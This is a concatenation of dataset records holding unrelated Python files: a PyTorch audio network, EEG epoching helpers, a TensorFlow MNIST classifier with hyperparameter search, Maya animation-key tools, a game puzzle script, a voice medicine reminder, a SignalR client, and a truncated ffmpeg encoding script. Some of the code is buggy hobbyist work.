self.conv2_f = nn.Conv1d(8, 16, 3, padding = 1)\n self.conv3_t = nn.Conv1d(16, 32, 3, padding = 1)\n self.conv3_f = nn.Conv1d(16, 32, 3, padding = 1)\n self.conv2 = nn.Conv2d(1, 4, 3, padding = 1)\n self.conv3 = nn.Conv2d(4, 8, 3, padding = 1)\n self.conv6 = nn.Conv2d(4, 1, 3, padding = 1)\n\n self.bn1_t = nn.BatchNorm2d(8)\n self.bn1_f = nn.BatchNorm2d(8)\n self.bn2_t = nn.BatchNorm1d(16)\n self.bn2_f = nn.BatchNorm1d(16)\n self.bn3_t = nn.BatchNorm1d(32)\n self.bn3_f = nn.BatchNorm1d(32)\n self.bn2 = nn.BatchNorm2d(4)\n self.bn3 = nn.BatchNorm2d(8)\n\n self.cbn1 = nn.BatchNorm2d(64)\n self.cbn2 = nn.BatchNorm2d(32)\n self.cbn3 = nn.BatchNorm2d(16)\n self.cbn4 = nn.BatchNorm2d(4)\n\n self.fc1 = nn.Linear(512, 32)\n self.fc2 = nn.Linear(32, 4096)\n \n self.pool = nn.MaxPool2d(2)\n self.pool_t = nn.MaxPool1d(3)\n self.pool_f = nn.MaxPool1d(2)\n\n self.deconv1 = nn.ConvTranspose2d(128, 64, 3, 2, padding=[1,1])\n self.deconv2 = nn.ConvTranspose2d(64, 32, 3, 2)\n self.deconv3 = nn.ConvTranspose2d(32, 16, 3, 2, output_padding=1)\n self.deconv4 = nn.ConvTranspose2d(16, 4, 3, 2)\n\n self.dropout = nn.Dropout(0.2)\n\n def forward(self, x):\n #print(x.size())\n #x = torch.narrow(x, -1, 0, 362)\n x = x.unsqueeze(1)\n x_t = F.relu(self.bn1_t(self.conv1_t(x))).squeeze(2)\n x_f = F.relu(self.bn1_f(self.conv1_f(x))).squeeze(3)\n x_t = self.pool_t(x_t)\n x_f = self.pool_f(x_f)\n\n x_t = self.dropout(x_t)\n x_f = self.dropout(x_f)\n\n x_t = F.relu(self.bn2_t(self.conv2_t(x_t)))\n x_f = F.relu(self.bn2_f(self.conv2_f(x_f)))\n \n x_t = self.pool_t(x_t)\n x_f = self.pool_f(x_f)\n\n x_t = self.dropout(x_t)\n x_f = self.dropout(x_f)\n\n x_t = F.relu(self.bn3_t(self.conv3_t(x_t)))\n x_f = F.relu(self.bn3_f(self.conv3_f(x_f)))\n \n x_t = self.pool_t(x_t)\n x_f = self.pool_f(x_f)\n\n x_t = self.dropout(x_t)\n x_f = self.dropout(x_f)\n\n x = torch.cat((x_t, x_f), 2)\n \n\n (B, W, H) = x.size()\n x = x.view(B, W * H)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = x.view(B,128,4,8)\n x = F.relu(self.cbn1(self.deconv1(x)))\n x = self.dropout(x)\n x = F.relu(self.cbn2(self.deconv2(x)))\n x = self.dropout(x)\n x = F.relu(self.cbn3(self.deconv3(x)))\n x = self.dropout(x)\n x = F.relu(self.cbn4(self.deconv4(x)))\n x = self.dropout(x)\n x = self.conv6(x)\n\n return x\n\n\n def args(self):\n parser = argparse.ArgumentParser(description='PyTorch rirnet')\n parser.add_argument('--batch-size', type=int, default=32, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=100, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=10000, metavar='N',\n help='number of epochs to train (default: 10)')\n parser.add_argument('--lr', type=float, default=0.001, metavar='LR',\n help='learning rate (default: 0.005)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--train_db_path', type=str, default='../../db_fft_horder/train.csv',\n help='path to train csv')\n parser.add_argument('--val_db_path', type=str, default='../../db_fft_horder/val.csv',\n help='path to val csv')\n parser.add_argument('--log_interval', type=int, default=10,\n help='log interval')\n self.args, unknown = parser.parse_known_args()\n return self.args\n\n\n # ------------- Transform settings ------------- #\n def data_transform(self):\n data_transform = transforms.Compose([ToTensor()])\n return data_transform\n\n def target_transform(self):\n target_transform = transforms.Compose([ToTensor()])\n return target_transform\n","sub_path":"foorir/models/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"255869506","text":"#Transform df into raw mne object\n\nimport mne\nfrom mne import create_info\nfrom mne.io import RawArray\n\ndef df_to_raw(df):\n sfreq = 250\n ch_names = list(df.columns)\n ch_types = ['eeg'] * (len(df.columns) - 1) + ['stim']\n ten_twenty_montage = mne.channels.make_standard_montage('standard_1020')\n\n df = df.T #mne looks at the tranpose() format\n df[:-1] *= 1e-6 #convert from uVolts to Volts (mne assumes Volts data)\n\n info = create_info(ch_names=ch_names, ch_types=ch_types, sfreq=sfreq)\n\n raw = mne.io.RawArray(df, info)\n raw.set_montage(ten_twenty_montage)\n\n #try plotting the raw data of its power spectral density\n raw.plot_psd()\n\n return raw\n\n\n'''\nWe will chunk (epoch) the data into segments representing the data \"tmin\" to \"\"tmax\" after each stimulus. No baseline correction is needed (signal is filtered) and we will reject every epoch where the amplitude of the signal exceeded 100 uV, which should be mostly eye blinks in case our ICA did not detect them (it should, theoretically...right?).\n\n**Sample drop % is an important metric representing how noisy our data set was**. If this is greater than 20%, consider ensuring that signal variances is very low in the raw EEG viewer and collecting more data\n'''\nfrom mne import Epochs, find_events\n\ndef getEpochs(raw, event_id, tmin, tmax):\n\n #epoching\n events = find_events(raw)\n \n #reject_criteria = dict(mag=4000e-15, # 4000 fT\n # grad=4000e-13, # 4000 fT/cm\n # eeg=100e-6, # 150 μV\n # eog=250e-6) # 250 μV\n\n reject_criteria = dict(eeg=100e-6) #most frequency in this range is not brain components\n\n epochs = Epochs(raw, events=events, event_id=event_id, \n tmin=tmin, tmax=tmax, baseline=None, preload=True, \n reject=reject_criteria,verbose=False, picks=[0,1,2,3,4,5,6,7]) #8 channels\n print('sample drop %: ', (1 - len(epochs.events)/len(events)) * 100)\n\n conds_we_care_about = ['Amusement', 'Anger']\n epochs.equalize_event_counts(conds_we_care_about) # this operates in-place\n\n return epochs","sub_path":"Psychological_Experiment/3-analysis/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"110228654","text":"from sklearn.base import BaseEstimator, ClassifierMixin\nfrom sklearn.exceptions import NotFittedError\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass DNNClassifier(BaseEstimator,ClassifierMixin):\n def __init__(self,n_hidden_layers=5,n_neurons=100,optimizer_class=tf.train.AdamOptimizer,\n learning_rate=0.01,batch_size=20,activation=tf.nn.relu,initializer=tf.variance_scaling_initializer(),\n batch_norm_momentum=None,dropout_rate=None,random_state=None):\n\n self.n_hidden_layers = n_hidden_layers\n self.n_neurons = n_neurons\n self.optimizer_class = optimizer_class\n self.learning_rate = learning_rate\n self.batch_size = batch_size\n self.activation = activation\n self.initializer = initializer\n self.batch_norm_momentum = batch_norm_momentum\n self.dropout_rate = dropout_rate\n self.random_state = random_state\n self._session = None\n # self._graph = tf.Graph()\n # self._training = tf.placeholder_with_default(False, shape=(), name='training')\n\n def dnn(self,inputs):\n for layer in range(self.n_hidden_layers):\n if self.dropout_rate:\n inputs = tf.layers.dropout(inputs,self.dropout_rate,training=self._training)\n inputs = tf.layers.dense(inputs,self.n_neurons,activation=self.activation,\n kernel_initializer=self.initializer,\n name='hidden'+str(layer+1))\n if self.batch_norm_momentum:\n inputs = tf.layers.batch_normalization(inputs,momentum=self.batch_norm_momentum,\n training=self._training)\n inputs = self.activation(inputs,name='hidden'+str(layer+1))\n\n return inputs\n\n def build_graph(self,n_inputs,n_outputs):\n if self.random_state is not None:\n tf.set_random_seed(self.random_state)\n np.random.seed(self.random_state)\n\n X = tf.placeholder(tf.float32,shape=(None,n_inputs),name='X')\n y = tf.placeholder(tf.int32,shape=(None),name='y')\n\n if self.batch_norm_momentum or self.dropout_rate:\n self._training = tf.placeholder_with_default(False, shape=(), name='training')\n else:\n self._training = None\n\n dnn_outputs = self.dnn(X)\n logits = tf.layers.dense(dnn_outputs, n_outputs, kernel_initializer=tf.variance_scaling_initializer(), name='logits')\n y_prob = tf.nn.softmax(logits, name='y_prob')\n\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y,logits=logits)\n loss = tf.reduce_mean(xentropy,name='loss')\n\n optimizer = self.optimizer_class(learning_rate=self.learning_rate)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n # Ensures that we execute the update_ops before performing the train_step\n training_op = optimizer.minimize(loss)\n\n\n correct = tf.nn.in_top_k(logits,y,1)\n accuracy = tf.reduce_mean(tf.cast(correct,tf.float32),name='accuracy')\n\n init = tf.global_variables_initializer()\n saver = tf.train.Saver()\n\n self._X,self._y = X,y\n self._Y_prob,self._loss = y_prob,loss\n self._training_op,self._accuracy = training_op,accuracy\n self._init,self._saver = init,saver\n\n def close_session(self):\n if self._session:\n self._session.close()\n\n def get_model_params(self):\n with self._graph.as_default():\n gvars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n\n return {gvar.op.name:value for gvar,value in zip(gvars,self._session.run(gvars))}\n def restore_model_params(self,model_parmas):\n gvars_names = list(model_parmas.keys())\n assign_ops = {gvar_name:self._graph.get_operation_by_name(gvar_name+'/Assign') for gvar_name in gvars_names}\n init_values = {gvar_name:assign_op.inputs[1] for gvar_name,assign_op in assign_ops.items()}\n feed_dict = {init_values[gvar_name]:model_parmas[gvar_name] for gvar_name in gvars_names}\n self._session.run(assign_ops,feed_dict=feed_dict)\n\n def shuffle_batch(self,X, y, batch_size):\n rnd_idx = np.random.permutation(len(X))\n n_batches = len(X) // batch_size\n for batch_idx in np.array_split(rnd_idx, n_batches):\n X_batch, y_batch = X[batch_idx], y[batch_idx]\n yield X_batch, y_batch\n\n def get_batch(self,Xi, y, batch_size, index):\n start = index * batch_size\n end = (index + 1) * batch_size\n end = end if end < len(y) else len(y)\n return Xi[start:end], [y_ for y_ in y[start:end]]\n\n def shuffle_in_unison_scary(self,a, c):\n res = list(zip(a, c))\n np.random.shuffle(res)\n a, c = zip(*res)\n\n def fit(self,X,y,n_epochs=100,X_valid=None,y_valid=None):\n self.close_session()\n\n n_inputs = X.shape[1]\n self.classes_ = np.unique(y)\n n_outputs = len(self.classes_)\n\n self.class_to_index = {label:index for index,label in enumerate(self.classes_)}\n y = np.array([self.class_to_index[label] for label in y],dtype=np.int32)\n\n self._graph = tf.Graph()\n with self._graph.as_default():\n self.build_graph(n_inputs,n_outputs)\n\n extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n\n max_checks_without_progress = 20\n checks_without_progress = 0\n best_loss = np.infty\n\n\n self.loss_res_train = []\n self.loss_res_valid = []\n self.acc_res_train = []\n self.acc_res_valid = []\n #######--train the model\n self._session = tf.Session(graph=self._graph)\n with self._session.as_default() as sess:\n self._init.run()\n for epoch in range(n_epochs):\n for X_batch,y_batch in self.shuffle_batch(X,y,self.batch_size):\n feed_dict = {self._X:X_batch,self._y:y_batch}\n if self._training is not None:\n feed_dict[self._training] = True\n sess.run(self._training_op,feed_dict=feed_dict)\n # if extra_update_ops:\n # sess.run(extra_update_ops,feed_dict=feed_dict)\n ##########train----res\n loss_train, acc_train = sess.run([self._loss, self._accuracy],\n feed_dict={self._X: X,\n self._y: y})\n self.loss_res_train.append(loss_train)\n self.acc_res_train.append(acc_train)\n if X_valid is not None and y_valid is not None:\n loss_val,acc_val = sess.run([self._loss,self._accuracy],\n feed_dict={self._X:X_valid,\n self._y:y_valid})\n self.loss_res_valid.append(loss_val)\n self.acc_res_valid.append(acc_val)\n\n if loss_val max_checks_without_progress:\n # print('early stopping!')\n # break\n\n else:\n loss_train,acc_train = sess.run([self._loss,self._accuracy],\n feed_dict={self._X:X_batch,\n self._y:y_batch})\n print(\"{}\\tLast training batch loss: {:.6f}\\tAccuracy: {:.2f}%\".format(\n epoch, loss_train, acc_train * 100))\n\n if best_params:\n self.restore_model_params(best_params)\n\n return self\n\n def predict_prob(self,X):\n if not self._session:\n raise NotFittedError(\"This %s instance is not fitted yet\" % self.__class__.__name__)\n with self._session.as_default() as sess:\n return self._Y_prob.eval(feed_dict={self._X:X})\n\n def predict(self,X):\n class_indices = np.argmax(self.predict_prob(X),axis=1)\n return np.array([self.classes_[class_index] for class_index in class_indices],np.int32)\n\n def save(self,path):\n self._saver.save(self._session,path)\n\n\n##########主函数\n(X_train,y_train),(X_test,y_test) = tf.keras.datasets.mnist.load_data()\nX_train = X_train.astype(np.float32).reshape(-1,28*28)/255.0\nX_test = X_test.astype(np.float32).reshape(-1,28*28)/255.0\ny_train = y_train.astype(np.int32)\ny_test = y_test.astype(np.int32)\nX_valid, X_train = X_train[:5000], X_train[5000:]\ny_valid, y_train = y_train[:5000], y_train[5000:]\n\nX_train1 = X_train[y_train < 5]\ny_train1 = y_train[y_train < 5]\nX_valid1 = X_valid[y_valid < 5]\ny_valid1 = y_valid[y_valid < 5]\nX_test1 = X_test[y_test < 5]\ny_test1 = y_test[y_test < 5]\n\ndnn_clf = DNNClassifier(random_state=42)\ndnn_clf.fit(X_train1,y_train1,n_epochs=100,X_valid=X_valid1,y_valid=y_valid1)\n\nfrom sklearn.metrics import accuracy_score\ny_pred = dnn_clf.predict(X_test)\naccuracy_score(y_test,y_pred)\n\n\ndnn_clf_bn = DNNClassifier(random_state=42,batch_norm_momentum=0.995)\ndnn_clf_bn.fit(X_train1,y_train1,n_epochs=100,X_valid=X_valid1,y_valid=y_valid1)\n\n\n\nplt.figure()\nplt.plot(dnn_clf.loss_res_train,color='red', linestyle=\"solid\", marker=\"o\",label='dnn_clf-train')\nplt.plot(dnn_clf.loss_res_valid,color='blue', linestyle=\"dashed\", marker=\"o\",label='dnn_clf_val')\n\nplt.figure()\nplt.plot(dnn_clf_bn.acc_res_train,color='red', linestyle=\"solid\", marker=\"o\",label='dnn_clf_bn-train')\nplt.plot(dnn_clf_bn.acc_res_valid,color='blue', linestyle=\"dashed\", marker=\"o\",label='dnn_clf_bn_val')\n\n\n\nfrom sklearn.metrics import accuracy_score\ny_pred = dnn_clf_bn.predict(X_test)\naccuracy_score(y_test,y_pred)\n\n###########3寻找超参数\nfrom sklearn.model_selection import RandomizedSearchCV\ndef leaky_relu(alpha=0.01):\n def parametrized_leaky_relu(z, name=None):\n return tf.maximum(alpha * z, z, name=name)\n return parametrized_leaky_relu\n\nparam_distribs = {\n \"n_neurons\": [10, 30, 50, 70, 90, 100, 120, 140, 160],\n \"batch_size\": [10, 50, 100, 500],\n \"learning_rate\": [0.01, 0.02, 0.05, 0.1],\n \"activation\": [tf.nn.relu, tf.nn.elu, leaky_relu(alpha=0.01), leaky_relu(alpha=0.1)],\n # you could also try exploring different numbers of hidden layers, different optimizers, etc.\n #\"n_hidden_layers\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10],\n #\"optimizer_class\": [tf.train.AdamOptimizer, partial(tf.train.MomentumOptimizer, momentum=0.95)],\n}\n\nrnd_search = RandomizedSearchCV(DNNClassifier(random_state=42),param_distribs,n_iter=50,cv=3,\n random_state=42,verbose=2)\nrnd_search.fit(X_train1,y_train1,X_valid=X_valid1,y_valid=y_valid1,n_epochs=1000)\n\n###########最优分数以及最优参数\nprint('best training score:',rnd_search.best_score_)\nprint('best params of dnn:',rnd_search.best_params_)\n\n##########33333带入测试数据到最好的模型中\ny_pred = rnd_search.predict(X_test1)\naccuracy_score(y_test1,y_pred)\n#########保存超参数后的模型\nrnd_search.best_estimator_.save('./my_best_mnist_model_o_to_4')\n\n###########----------------------batch_norm的影响\ndnn_clf = DNNClassifier(activation=leaky_relu(alpha=0.1),batch_size=500,learning_rate=0.01,n_neurons=140,random_state=42)\ndnn_clf.fit(X_train1,y_train1,n_epochs=100,X_valid=X_valid1,y_valid=y_valid1)\n\ny_pred = dnn_clf.predict(X_test1)\naccuracy_score(y_test1,y_pred)\n\n\ndnn_clf_bn = DNNClassifier(activation=leaky_relu(alpha=0.1),batch_size=500,\n learning_rate=0.01,n_neurons=140,random_state=42,batch_norm_momentum=0.95)\ndnn_clf_bn.fit(X_train1,y_train1,n_epochs=100,X_valid=X_valid1,y_valid=y_valid1)\n\ny_pred = dnn_clf_bn.predict(X_test1)\naccuracy_score(y_test1, y_pred)\n\n\n\nplt.figure()\nplt.plot(dnn_clf.acc_res_train,color='red', linestyle=\"solid\", marker=\"o\",label='dnn_clf-train')\nplt.plot(dnn_clf.acc_res_valid,color='blue', linestyle=\"dashed\", marker=\"o\",label='dnn_clf_val')\n\nplt.figure()\nplt.plot(dnn_clf_bn.acc_res_train,color='red', linestyle=\"solid\", marker=\"o\",label='dnn_clf_bn-train')\nplt.plot(dnn_clf_bn.acc_res_valid,color='blue', linestyle=\"dashed\", marker=\"o\",label='dnn_clf_bn_val')\n\n\n############超参数的选取\nparam_distribs = {\n \"n_neurons\": [10, 30, 50, 70, 90, 100, 120, 140, 160],\n \"batch_size\": [10, 50, 100, 500],\n \"learning_rate\": [0.01, 0.02, 0.05, 0.1],\n \"activation\": [tf.nn.relu, tf.nn.elu, leaky_relu(alpha=0.01), leaky_relu(alpha=0.1)],\n # you could also try exploring different numbers of hidden layers, different optimizers, etc.\n #\"n_hidden_layers\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10],\n #\"optimizer_class\": [tf.train.AdamOptimizer, partial(tf.train.MomentumOptimizer, momentum=0.95)],\n \"batch_norm_momentum\": [0.9, 0.95, 0.98, 0.99, 0.999],\n}\n\nrnd_search_bn = RandomizedSearchCV(DNNClassifier(random_state=42), param_distribs, n_iter=50, cv=3,\n random_state=42, verbose=2)\nrnd_search_bn.fit(X_train1, y_train1, X_valid=X_valid1, y_valid=y_valid1, n_epochs=1000)\n\ny_pred = dnn_clf.predict(X_train1)\naccuracy_score(y_train1, y_pred)\n\n############drop_out\n\ndnn_clf_dropout = DNNClassifier(activation=leaky_relu(alpha=0.1), batch_size=500, learning_rate=0.01,\n n_neurons=90, random_state=42,\n dropout_rate=0.5)\ndnn_clf_dropout.fit(X_train1, y_train1, n_epochs=1000, X_valid=X_valid1, y_valid=y_valid1)\n\ny_pred = dnn_clf_dropout.predict(X_test1)\naccuracy_score(y_test1, y_pred)\n\n\nparam_distribs = {\n \"n_neurons\": [10, 30, 50, 70, 90, 100, 120, 140, 160],\n \"batch_size\": [10, 50, 100, 500],\n \"learning_rate\": [0.01, 0.02, 0.05, 0.1],\n \"activation\": [tf.nn.relu, tf.nn.elu, leaky_relu(alpha=0.01), leaky_relu(alpha=0.1)],\n # you could also try exploring different numbers of hidden layers, different optimizers, etc.\n #\"n_hidden_layers\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10],\n #\"optimizer_class\": [tf.train.AdamOptimizer, partial(tf.train.MomentumOptimizer, momentum=0.95)],\n \"dropout_rate\": [0.2, 0.3, 0.4, 0.5, 0.6],\n}\n\nrnd_search_dropout = RandomizedSearchCV(DNNClassifier(random_state=42), param_distribs, n_iter=50,\n cv=3, random_state=42, verbose=2)\nrnd_search_dropout.fit(X_train1, y_train1, X_valid=X_valid1, y_valid=y_valid1, n_epochs=1000)\n\ny_pred = rnd_search_dropout.predict(X_test1)\naccuracy_score(y_test1, y_pred)","sub_path":"cs231n/assignment1/dnn_tf_class_one.py","file_name":"dnn_tf_class_one.py","file_ext":"py","file_size_in_byte":14969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"254105014","text":"from rest_framework.fields import SerializerMethodField\nfrom rest_framework.serializers import ModelSerializer\nfrom point.models import TouristicPoint\nfrom attractions.api.serializers import AttractionSerializer\nfrom address.api.serializers import AddressSerializer\nfrom comment.api.serializers import CommentSerializer\n\n\nclass TouristicPointsSerializer(ModelSerializer):\n attractions = AttractionSerializer(many=True, read_only=True)\n address = AddressSerializer(many=False, read_only=True)\n comments = CommentSerializer(many=True, read_only=True)\n complete_desc = SerializerMethodField()\n\n class Meta:\n model = TouristicPoint\n fields = ('id',\n 'name',\n 'description',\n 'approved',\n 'image',\n 'attractions',\n 'address',\n 'comments',\n 'evaluations',\n 'complete_desc',\n 'complete_desc2')\n\n def get_complete_desc(self, obj):\n return '%s - %s' % (obj.name, obj.description)\n","sub_path":"point/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"474831806","text":"import pymel.core as pm\nimport random\nimport math\n\ndef keys_copy(source, targets, rand_shift=0, incr=0, mo=False, rand_abs=False, from_time=False):\n \"\"\" This script will copy the keyframes from source to targets from selected channel box attributes\n Args:\n source (pm.nt.Transform): source object with animation\n targets (pm.nt.Transform): copy To Targets\n rand_shift (float): randomly shift by x, 0 is no shift\n incr (int): Increment value through selection by x, 0 is no increment\n mo (Boolean): Maintain the Offset or not (will offset if you're not at the anim keys start)\n rand_abs (bool): Random range will be absolute and not include negatives\n from_time (bool): if true, pastes from given time forward\n Returns [pm.nt.Transform]: list of keyed transforms\n Example:\n keys_copy(pm.ls(sl=True)[0], pm.ls(sl=True)[1:], rand_shift=0.0, incr=1.5, mo=True)\n \"\"\"\n #Determine Selected attributes from channelbox\n attrs = get_cb_sel_attrs()\n x_shift = 0\n \n for target in targets:\n rand_val = 0.0\n if rand_shift:\n rand_val = random.randrange(-rand_shift*(1-rand_abs), rand_shift)\n x_shift += incr + rand_val\n for attr in attrs:\n y_shift = mo * (target.attr(attr).get() - source.attr(attr).get())\n if pm.keyframe(source, at = attr, q = True):\n # Copy + Paste the offset values\n pm.copyKey(source,\n at = attr,\n option = \"curve\",\n hierarchy = 'none')\n pm.pasteKey(target,\n option = 'replace',\n valueOffset = y_shift,\n copies = True,\n connect = True,\n at = attr,\n timeOffset = x_shift)\n x_shift += incr\n return targets\n\ndef keys_shift(targets, incr=0.0, rand=0.0, rand_abs=False, round=False):\n \"\"\" This script will copy the keyframes from source to targets from selected channel box attributes\n Args:\n targets [pm.nt.Transform]: target transforms to sequentialize\n incr (float): Increment value through selection by x, 0 is no increment\n rand (float): Randomly shift by x, 0 is no shift\n rand_abs (bool): Random range will be absolute and not include negatives\n round (bool): whether or not to round the key shift value to an integer\n Returns (None)\n Example:\n keys_shift(pm.ls(sl=True), rand=5.0, round=True)\n \"\"\"\n #Determine Selected attributes from channelbox\n attrs = get_cb_sel_attrs()\n x_shift = 0\n for target in targets:\n ast, aet = pm.playbackOptions(q=True, ast=True), pm.playbackOptions(q=True, aet=True)\n rand_val = 0\n if rand:\n rand_val = random.randrange(-rand*(1-rand_abs), rand)\n x_shift += rand_val\n if round:\n x_shift=int(x_shift)\n pm.keyframe(target, edit=True, at=attrs, relative=True, timeChange=x_shift)\n x_shift += incr\n\ndef get_cb_sel_attrs(transform=None):\n \"\"\" Gets the currently selected attributes from the channel box or all keyable as defaults\n Args:\n transform (pm.nt.Transform): returns all keyable attributes on transform\n Returns [str]: List of attributes in string form\n \"\"\"\n if transform:\n return pm.listAttr(transform, q=True, k=True)\n pm.language.melGlobals.initVar('string', 'gChannelBoxName')\n attrs = pm.channelBox(pm.language.melGlobals['gChannelBoxName'], q=True, sma=True)\n if not attrs:\n attrs=['tx','ty','tz','rx','ry','rz','sx','sy','sz','v']\n return attrs\n \ndef keys_sequential_visibility(transforms, additive=False):\n ''' Sets visibility keys in order on a given selection of objects, in selection order\n Args:\n transforms [pm.nt.Transform]: transforms to key\n additive (bool): if false we turn off the object again, so they blink in order, not stay on\n Returns (None)\n Usage:\n key_vis_in_sequence(pm.ls(sl=True, type='transform'))\n '''\n start_frame = pm.currentTime()\n current_frame = start_frame + 1\n \n for transform in transforms:\n pm.setKeyframe(transform.visibility,\n v=0,\n inTangentType='flat',\n outTangentType='flat',\n t=start_frame)\n pm.setKeyframe(transform.visibility,\n v=1,\n inTangentType='flat',\n outTangentType='flat',\n t=current_frame)\n if not additive:\n pm.setKeyframe(transform.visibility,\n v=0,\n inTangentType='flat',\n outTangentType='flat',\n t=current_frame+1)\n current_frame += 1","sub_path":"maya/anim/lib_keys.py","file_name":"lib_keys.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"306218056","text":"def dynamicMaxSum (gems):\n cycles = 0\n maxStartIndex = 0\n maxEndIndex = 0\n maxEndHere = 0\n currentStartIndex = 0\n maxBest = 0\n for i in range(len(gems)):\n cycles += 1\n maxEndHere += gems[i].value\n if maxEndHere < 0:\n maxEndHere = 0\n currentStartIndex = i + 1\n if maxEndHere > maxBest:\n maxStartIndex = currentStartIndex\n maxEndIndex = i\n maxBest = maxEndHere\n hero.say(\"I's taken \" + cycles + \" cycles.\")\n return [maxStartIndex, maxEndIndex]\n\n\ndef naiveMaxSum(gems):\n cycles = 0\n maxStartIndex = 0\n maxEndIndex = 0\n maxBest = 0\n for i in range(len(gems)):\n sums = 0\n for j in range(i, len(gems)):\n cycles += 1\n if cycles > 104:\n hero.say(\"I fed up of calculations.\")\n return [i, j]\n sums += gems[j].value\n if sums > maxBest:\n maxStartIndex = i\n maxEndIndex = j\n maxBest = sums\n hero.say(\"I's taken \" + cycles + \" cycles.\")\n return [maxStartIndex, maxEndIndex]\n\n\nitems = hero.findItems()\nedges = naiveMaxSum(items)\n\nx1 = edges[0] * 4 + 4\nx2 = edges[1] * 4 + 4\n\nhero.moveXY(x1, 40)\nhero.moveXY(x2, 40)\nhero.moveXY(40,64)\n","sub_path":"8_Cloudrip_Mountain/439-Subarray_Retreat/subarray_retreat.py","file_name":"subarray_retreat.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"616641191","text":"from datetime import datetime\nfrom gtts import gTTS\nimport speech_recognition as sr\nimport os\n\nlanguage='en'\nr2 = sr.Recognizer()\n\ndef getData():\n # Write the code to get the date and purpose here\n # Store them in date and pupose respectively\n # both must be of str type when they get stored\n \n with sr.Microphone() as source:#stores the purpose \n prg='What medicine do you need to take'\n print(prg)\n event=gTTS(text=prg,lang=language,slow=False)\n event.save(\"event.mp3\")\n os.system(\"start event.mp3\")\n r2.adjust_for_ambient_noise(source, duration=5)\n purpose = r2.listen(source)\n print(r2.recognize_google(purpose))\n \n with sr.Microphone() as source:#stores the date\n dte='When do you need to take it'\n print(dte)\n DATE=gTTS(text=dte,lang=language,slow=False)\n DATE.save(\"DATE.mp3\")\n os.system(\"start DATE.mp3\")\n r2.adjust_for_ambient_noise(source, duration=5)\n date = r2.listen(source)\n print(r2.recognize_google(date))\n parseData(date,purpose)\n \ndef parseData(date,purpose):\n store(date,purpose)\n\ndef store(date, purpose):\n f = open(\"sched.txt\",\"a\")\n f.append(date+\"#\"+purpose)\n\ndef read(schedList):\n now=datetime.now()\n now=now.strftime(\"%d%m%Y %H:%M\")\n \n for sched in schedList:\n if now in sched:\n purpose=sched.split('#')\n purpose=purpose[1]\n output=gTTS(text=purpose,lang=language,slow=False)\n output.save(\"output.mp3\")\n os.system(\"start output.mp3\")\n \ngetData()\n\n","sub_path":"remindMedicine.py","file_name":"remindMedicine.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"507127960","text":"from requests import Session\nfrom signalr import Connection\n\nHUB_URL = \"http://likkleapi-staging.azurewebsites.net/signalr\"\nHUB_NAME = 'BoongalooGroupsActivityHub'\n\n### create new chat message handler\ndef groupWasLeftByUserHandler(leftGroupId):\n print('OMG! Group that was left: ', leftGroupId)\n\ndef signalrErrorHandler(error):\n print('error: ', error)\n\ndef initSignalrConnection():\n with Session() as session:\n #create a connection\n connection = Connection(HUB_URL, session)\n\n #get BoongalooGroupsActivityHub hub\n boongalooGroupsActivityHub = connection.register_hub(HUB_NAME)\n\n #receive new message from the hub\n boongalooGroupsActivityHub.client.on('groupWasLeftByUser', groupWasLeftByUserHandler)\n\n #process errors\n connection.error += signalrErrorHandler\n\n #start a connection\n connection.qs = {'userId':'5b8e69b6-fc13-494d-9228-4215de85254f'}\n\n print(\"Connection was started\")\n with connection:\n connection.wait(13)\n","sub_path":"Epaper/raspberrypi/python/signalrManager.py","file_name":"signalrManager.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"160096239","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 24 2020\r\n\r\n@author: ustc Zhiying Lu\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport subprocess as sp\r\nimport h5py\r\nimport os\r\nfrom PIL import Image\r\n\r\n\r\ndef lavencode(indir, fname, crf, gpu):\r\n highdir = os.path.join(indir, \"high6\", \"%05d.tif\")\r\n lowdir = os.path.join(indir, \"low10\", \"%05d.tif\")\r\n\r\n # get ffmpeg path\r\n f = open(\"path.txt\", \"r\")\r\n ffmpegpath = f.read()\r\n ffmpegpath = ffmpegpath.strip('\\n')\r\n f.close()\r\n\r\n # calculate the number of images\r\n count = 0\r\n for root, dirs, files in os.walk(os.path.join(indir, 'low10')):\r\n for each in files:\r\n count += 1\r\n\r\n # get image shape\r\n for pic in os.listdir(os.path.join(indir, 'low10')):\r\n img = Image.open(os.path.join(indir, 'low10', pic))\r\n shape = list(img.size)\r\n shape.append(count)\r\n break\r\n\r\n # compress two 